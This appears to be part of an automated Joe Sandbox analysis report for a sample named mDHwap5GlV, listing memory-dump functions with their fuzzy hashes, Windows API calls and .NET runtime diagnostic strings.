Instruction ID: cf6243f6aa0da2dc4d3beaef1454fe934adc368076192cd0ca6fb74924a28815
Opcode Fuzzy Hash: c3a8324e473a9a39a221be87fe4aa2623ebd253636021fc128cdba0f9c877317
Instruction Fuzzy Hash: 57A17237E0011A9FCF14DFA5E9948DEBBBAFF84311B108225E90AA7650DB746D46CB90

Function 09F21A30 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7af10ca48c0ebc1c58b4c5d84f0e479abd7f4512bdf679830545bab3432e688
Instruction ID: 295d9e82a728984ddea536c861880ca673c0685d446fea7a0d1e22a269ed2cc5
Opcode Fuzzy Hash: b7af10ca48c0ebc1c58b4c5d84f0e479abd7f4512bdf679830545bab3432e688
Instruction Fuzzy Hash: D6B13976E04219DFCF19CFA5E984AEEBBB1FF48311F10812DE90AA7250DB35A945CB44

Function 09F0B240 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4116fc91d4ba80ba9fd17ec7918ec7d9cfff5f641faa5ec043366ad79f213a15
Instruction ID: 3c3b31615d0052b4fd89900a733c86434ce954663f68356231c2d85c080e93d7
Opcode Fuzzy Hash: 4116fc91d4ba80ba9fd17ec7918ec7d9cfff5f641faa5ec043366ad79f213a15
Instruction Fuzzy Hash: 1661A572A00315DFDB15CF69E8D456EB7AAFBC4312B25893AD509C7284CB35E881DB90

Function 09F627F0 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b555e648c8b7c08671f571982cc0a7087e60fcc112b9b564c68c24197901f246
Instruction ID: 1b7764e397723168561e60ebd1f9b7207d6b9934045a694e0d32cdb76deb9895
Opcode Fuzzy Hash: b555e648c8b7c08671f571982cc0a7087e60fcc112b9b564c68c24197901f246
Instruction Fuzzy Hash: D7816932E0130A8FDB24CF71E9986DABBB5FF98305B14562DE513D7250EB34A94ACB40

Function 0A3E3D5D Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, Offset: 0A3E0000, based on PE: true

Associated: 00000000.00000002.2586658852.000000000A3E0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6B4000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6B9000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6BB000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6BF000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6C5000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2587013951.000000000A6C7000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2587076654.000000000A702000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a3e0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45bd52df37d8b77e6a1ea2cd4fa1e0e59bfe83a0ad2d4d1a7d35820bcd4c86c6
Instruction ID: 0a5e792e1a3d3b67d2861c9f9c43b79ba03f5ae8321110c3f0bf3aaef2c7c2f8
Opcode Fuzzy Hash: 45bd52df37d8b77e6a1ea2cd4fa1e0e59bfe83a0ad2d4d1a7d35820bcd4c86c6
Instruction Fuzzy Hash: E831E13604E3AA9FC367CF74C8550867FA0EE1322476945EEE4C25F163D6328847CB91

Function 00BD5DD0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c0459424f1116aad770ded283a34064420ff478638f7431598b181d6a31c336
Instruction ID: 515e982fcc113093bc8b9341a6cdcd2dd9e3cb9215dfa8f3b5e9b2f25e208636
Opcode Fuzzy Hash: 4c0459424f1116aad770ded283a34064420ff478638f7431598b181d6a31c336
Instruction Fuzzy Hash:

Function 00A35F30 Relevance: 39.4, APIs: 18, Strings: 8, Instructions: 418memorystringCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,ILStubClass,89ECF510,?,?), ref: 00A35FC7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(DynamicClass,89ECF510,?,?), ref: 00A35FD7
HeapFree.KERNEL32(00000000,?,?), ref: 00A3603A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00F22278), ref: 00A36073
HeapFree.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00A3615F
HeapFree.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00A36179
strlen.API-MS-WIN-CRT-STRING-L1-1-0({inst-stub},?,?,00000000), ref: 00A361A7
HeapFree.KERNEL32(00000000,?,?), ref: 00A36207
strlen.API-MS-WIN-CRT-STRING-L1-1-0({unbox-stub},?,?,00000000,?), ref: 00A3621A
HeapFree.KERNEL32(00000000,?,?), ref: 00A36274
strlen.API-MS-WIN-CRT-STRING-L1-1-0({method-shared},?,?,00000000,?), ref: 00A36291
HeapFree.KERNEL32(00000000,?,?,?,{shared},?,?,00000000,?), ref: 00A36322
strlen.API-MS-WIN-CRT-STRING-L1-1-0({requires-mt-arg},?,?,00000000,?), ref: 00A36338
HeapFree.KERNEL32(00000000,?,?), ref: 00A36392
strlen.API-MS-WIN-CRT-STRING-L1-1-0({requires-mdesc-arg},?,?,?,?,?), ref: 00A363BD

Part of subcall function 00A00740: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,89ECF510,?,?,?,00000000,00E3894D,000000FF,?,00A362F9,?,{shared},?,?,00000000,?), ref: 00A0076E

HeapFree.KERNEL32(00000000,?,?), ref: 00A36417
HeapFree.KERNEL32(00000000,?,?,?,00000000,?), ref: 00A36437
HeapFree.KERNEL32(00000000,?,?,?,00000000,?), ref: 00A3645A

Strings

ILStubClass, xrefs: 00A35F83
{unbox-stub}, xrefs: 00A36215, 00A3622B
{method-shared}, xrefs: 00A3628C, 00A362A2
{inst-stub}, xrefs: 00A361A2, 00A361B8
{requires-mdesc-arg}, xrefs: 00A363B8, 00A363CE
DynamicClass, xrefs: 00A35FD2, 00A35FE8
{requires-mt-arg}, xrefs: 00A36333, 00A36349
{shared}, xrefs: 00A362EB

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap$strlen
String ID: DynamicClass$ILStubClass${inst-stub}${method-shared}${requires-mdesc-arg}${requires-mt-arg}${shared}${unbox-stub}
API String ID: 2745055037-2528749595
Opcode ID: 5783a3227270f3d068bdb18a1011f75c6c283be14380043208f6e84f1c8c1410
Instruction ID: d479bacfa02d8905ded97b7d601e45eac9e5c34172d6889476ddd7a7d7c4c080
Opcode Fuzzy Hash: 5783a3227270f3d068bdb18a1011f75c6c283be14380043208f6e84f1c8c1410
Instruction Fuzzy Hash: 40028D70E0024DEEDF11CFA8D949BEEBFB4BF05308F148168E855A7291D7749A09DBA1

Function 00A368D0 Relevance: 22.8, APIs: 15, Instructions: 305memoryfileCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,89ECF510,00000000,?,?), ref: 00A3698C
HeapFree.KERNEL32(00000000,?,89ECF510,00000000,?,?), ref: 00A369CA
GetConsoleOutputCP.KERNEL32(00000000,?,000000FF,00000000,?,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36A01
WideCharToMultiByte.KERNEL32(00000000), ref: 00A36A08
GetStdHandle.KERNEL32(000000F4), ref: 00A36A29
HeapFree.KERNEL32(00000000,?), ref: 00A36A52
GetConsoleOutputCP.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36B0D
WideCharToMultiByte.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36B14
HeapFree.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36B71
GetConsoleOutputCP.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?), ref: 00A36BF0
WideCharToMultiByte.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36BF7
GetStdHandle.KERNEL32(000000F4,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36C17
WriteFile.KERNEL32(00000000,00000000,00007FFF,?,00000000,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36C46
HeapFree.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36C76

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap$ByteCharConsoleMultiOutputWide$Handle$FileWrite
String ID:
API String ID: 4166771283-0
Opcode ID: c0c60a491958e55bd1b71580bf7da7cf6f7f29e70a7dd7b5980764d95342fac2
Instruction ID: 2fc7a9dca49d6ad1fcfe10675c05c4d45e481ca08aaf766e94972678eb06a6aa
Opcode Fuzzy Hash: c0c60a491958e55bd1b71580bf7da7cf6f7f29e70a7dd7b5980764d95342fac2
Instruction Fuzzy Hash: 88B18371A40228AFEB209F65DC8CB9EB7B4FB44B50F1042A9F919B72D1C7749E448F94

Function 00C84380 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 330memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFE900: ReadFile.KERNEL32(?,?,?,00000000,00000004,?,00000000,?,00000000,?,00C843FF,00000014,?), ref: 00BFE91F
Part of subcall function 00BFE900: GetLastError.KERNEL32(?,00000000,?,00000000,?,00C843FF,00000014,?), ref: 00BFE92E
Part of subcall function 00BFE900: GetOverlappedResult.KERNEL32(?,00000004,00000000,00000001,?,00000000,?,00000000,?,00C843FF,00000014,?), ref: 00BFE945

HeapFree.KERNEL32(00000000,00000000,?,?,?,00000014,?), ref: 00C84496
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,DOTNET_IPC_V1,00000014,?), ref: 00C84479

Part of subcall function 00BC2010: GetProcessHeap.KERNEL32(89ECF510,?,00000000,00E37F30,000000FF,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC203E
Part of subcall function 00BC2010: RtlAllocateHeap.NTDLL(03310000,00000000,?,89ECF510,?,00000000,00E37F30,000000FF,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC205A

HeapFree.KERNEL32(00000000,00000000,00000014,?), ref: 00C844C0
HeapFree.KERNEL32(00000000,?,?,?), ref: 00C84616
FlushFileBuffers.KERNEL32(?,?,?), ref: 00C8461F
HeapFree.KERNEL32(00000000,?), ref: 00C84631
SetEvent.KERNEL32(?), ref: 00C846B0

Strings

DiagnosticServer - received IPC message with command set (%d) and command id (%d), xrefs: 00C84507
Received unknown request type (%d), xrefs: 00C8475A, 00C847B0
Failed to send DiagnosticsIPC response, xrefs: 00C846F1
DOTNET_IPC_V1, xrefs: 00C84473
Diagnostics IPC listener was undefined, xrefs: 00C847DE

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Heap$Free$File$AllocateBuffersErrorEventFlushLastOverlappedProcessReadResultstrcmp
String ID: DOTNET_IPC_V1$DiagnosticServer - received IPC message with command set (%d) and command id (%d)$Diagnostics IPC listener was undefined$Failed to send DiagnosticsIPC response$Received unknown request type (%d)
API String ID: 1697111176-472951249
Opcode ID: 687f57fc2e6351ae46ecd6b16a9d1ea4110d0a0e9d519e6e06f71cd1003cf8c6
Instruction ID: 6042bea26b379b53902c02fb5be3000dc2ea92c3e8c6080fd27a3da60cb7f43c
Opcode Fuzzy Hash: 687f57fc2e6351ae46ecd6b16a9d1ea4110d0a0e9d519e6e06f71cd1003cf8c6
Instruction Fuzzy Hash: 39B121712082429BD708FB25D801B2FB7E9FFC1708F00492EF991A72A1EB75DA05D75A

Function 09AD99E0 Relevance: 15.3, APIs: 12, Instructions: 261COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5), ref: 09AD99F2
GetStdHandle.KERNEL32(000000F5), ref: 09AD9A16
GetStdHandle.KERNEL32(000000F5), ref: 09AD9A74
GetStdHandle.KERNEL32(000000F5), ref: 09AD9AA0
GetStdHandle.KERNEL32(000000F5), ref: 09AD9B06
GetStdHandle.KERNEL32(000000F5), ref: 09AD9B45
GetStdHandle.KERNEL32(000000F5), ref: 09AD9B92

Memory Dump Source

Source File: 00000000.00000002.2583359508.0000000009AD1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09AD0000, based on PE: true

Associated: 00000000.00000002.2583342989.0000000009AD0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583382517.0000000009AF2000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583398162.0000000009AF3000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583414187.0000000009AF4000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ad0000_mDHwap5GlV.jbxd

Similarity

API ID: Handle
String ID:
API String ID: 2519475695-0
Opcode ID: 6a397abfdf6e3d8d9682cbed495e9a7b73c0f9f7d8e6b69bd99303912a8e1ee7
Instruction ID: be641906907f66cfbdacd98519d8287a97d42cbf19e04ddbf394bf136956a2b8
Opcode Fuzzy Hash: 6a397abfdf6e3d8d9682cbed495e9a7b73c0f9f7d8e6b69bd99303912a8e1ee7
Instruction Fuzzy Hash: 36918F356011859FCF08EFE0E96879E77F9EB85712B104268ED36C32D4EB309946CB92

Function 00BC2760 Relevance: 13.9, APIs: 9, Instructions: 354COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(?,?,?,89ECF510,?), ref: 00BC286E
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000055,?,00000055,00000000,89ECF510,?,?,?), ref: 00BC292B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000055,?,00000055,00000000,89ECF510,?,?,?), ref: 00BC2968
LeaveCriticalSection.KERNEL32(?,00000000,89ECF510,?,?,?), ref: 00BC29F6
FreeLibrary.KERNEL32(00000000,00000000,89ECF510,?,?,?), ref: 00BC2A43
LeaveCriticalSection.KERNEL32(?,00000000,89ECF510,?,?,?), ref: 00BC2A5E
LeaveCriticalSection.KERNEL32(?,?,?,89ECF510,?,?,?), ref: 00BC2AC1
LeaveCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,89ECF510,?), ref: 00BC2BC1
FreeLibrary.KERNEL32(00000000,?,00000001,00000000,?,?,89ECF510,?), ref: 00BC2C0F

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CriticalLeaveSection$FreeLibrarywcsncpy_s
String ID:
API String ID: 728819610-0
Opcode ID: 2bda6b635d71c16da75d673afb587b0dedab7f2dd993a08c0d0892ffe7b793c8
Instruction ID: 68ef5db29a14057eb4a3614c5a941c6595e6bd6928404782abb0ee1ae9ef494e
Opcode Fuzzy Hash: 2bda6b635d71c16da75d673afb587b0dedab7f2dd993a08c0d0892ffe7b793c8
Instruction Fuzzy Hash: 25E17670A0061ADFEB25DF68C889FAEB7F0EF14714F0442ADE815A7291D7759E41CBA0

Function 00A7AA90 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4), ref: 00A7ABA7
HeapFree.KERNEL32(00000000,?), ref: 00A7ABD3
GetStdHandle.KERNEL32(000000F4), ref: 00A7ABE1
HeapFree.KERNEL32(00000000,?), ref: 00A7AC10

Part of subcall function 0096F6D0: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000004,00000000,89ECF510,00000000,?), ref: 0096F75C

Part of subcall function 00A35F30: HeapFree.KERNEL32(00000000,?,?,?,ILStubClass,89ECF510,?,?), ref: 00A35FC7
Part of subcall function 00A35F30: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00F22278), ref: 00A36073

Part of subcall function 00A368D0: GetConsoleOutputCP.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36B0D
Part of subcall function 00A368D0: WideCharToMultiByte.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36B14
Part of subcall function 00A368D0: GetConsoleOutputCP.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?), ref: 00A36BF0
Part of subcall function 00A368D0: WideCharToMultiByte.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36BF7
Part of subcall function 00A368D0: GetStdHandle.KERNEL32(000000F4,?,?,00000000,00000000,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36C17

GetStdHandle.KERNEL32(000000F4), ref: 00A7AB4C

Part of subcall function 00A36850: strlen.API-MS-WIN-CRT-STRING-L1-1-0(Fatal error. ,00000000,?), ref: 00A3685E
Part of subcall function 00A36850: WriteFile.KERNEL32(?,Fatal error. ,00007FFF,?,00000000), ref: 00A36893

GetStdHandle.KERNEL32(000000F4), ref: 00A7AC73
HeapFree.KERNEL32(00000000,?), ref: 00A7ACA2

Part of subcall function 00BCFF00: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 00BD0018

Part of subcall function 00A368D0: GetConsoleOutputCP.KERNEL32(00000000,?,000000FF,00000000,?,00000000,00000000,89ECF510,00000000,?,?), ref: 00A36A01
Part of subcall function 00A368D0: WideCharToMultiByte.KERNEL32(00000000), ref: 00A36A08
Part of subcall function 00A368D0: GetStdHandle.KERNEL32(000000F4), ref: 00A36A29
Part of subcall function 00A368D0: HeapFree.KERNEL32(00000000,?), ref: 00A36A52

Strings

--------------------------------, xrefs: 00A7AB52, 00A7ABE7
Repeat %d times:, xrefs: 00A7AB2C

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHandleHeap$ByteCharConsoleMultiOutputWide$strlen$FileWritewcscpy_s
String ID: --------------------------------$Repeat %d times:
API String ID: 188747674-2686560479
Opcode ID: abe815220f322787f6188cd76af120fdee391734e79df1695fdbe3b59743d686
Instruction ID: a13047dae3c8788497a5f74eaf904ec8f8f0102acd6e605d4b9f996e2db53b3b
Opcode Fuzzy Hash: abe815220f322787f6188cd76af120fdee391734e79df1695fdbe3b59743d686
Instruction Fuzzy Hash: CA617B70A00208EFDB01EFA4DD89B9EBBB4FF54710F108269E815AB6D1DB70AD45CB91

Function 00A7ACE0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 224memoryCOMMON

Download Yara Rule

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?, at,00000005,00000004,00000000), ref: 00A7ADA1

Part of subcall function 00BCFF00: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 00BD0018

Part of subcall function 00A7AA90: GetStdHandle.KERNEL32(000000F4), ref: 00A7AB4C
Part of subcall function 00A7AA90: GetStdHandle.KERNEL32(000000F4), ref: 00A7ABA7
Part of subcall function 00A7AA90: HeapFree.KERNEL32(00000000,?), ref: 00A7ABD3
Part of subcall function 00A7AA90: GetStdHandle.KERNEL32(000000F4), ref: 00A7ABE1

HeapFree.KERNEL32(00000000,?), ref: 00A7AE45
HeapFree.KERNEL32(00000000,?,?,00F20100,?, ), ref: 00A7AEC2
HeapFree.KERNEL32(00000000,?,?,00A7AA10,?,00000109,00000000,?,00F20100,?, ), ref: 00A7AF51
HeapFree.KERNEL32(00000000,?,?,00A7AA10,?,00000109,00000000,?,00F20100,?, ), ref: 00A7AF89

Strings

at, xrefs: 00A7AD96
, xrefs: 00A7AE77

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
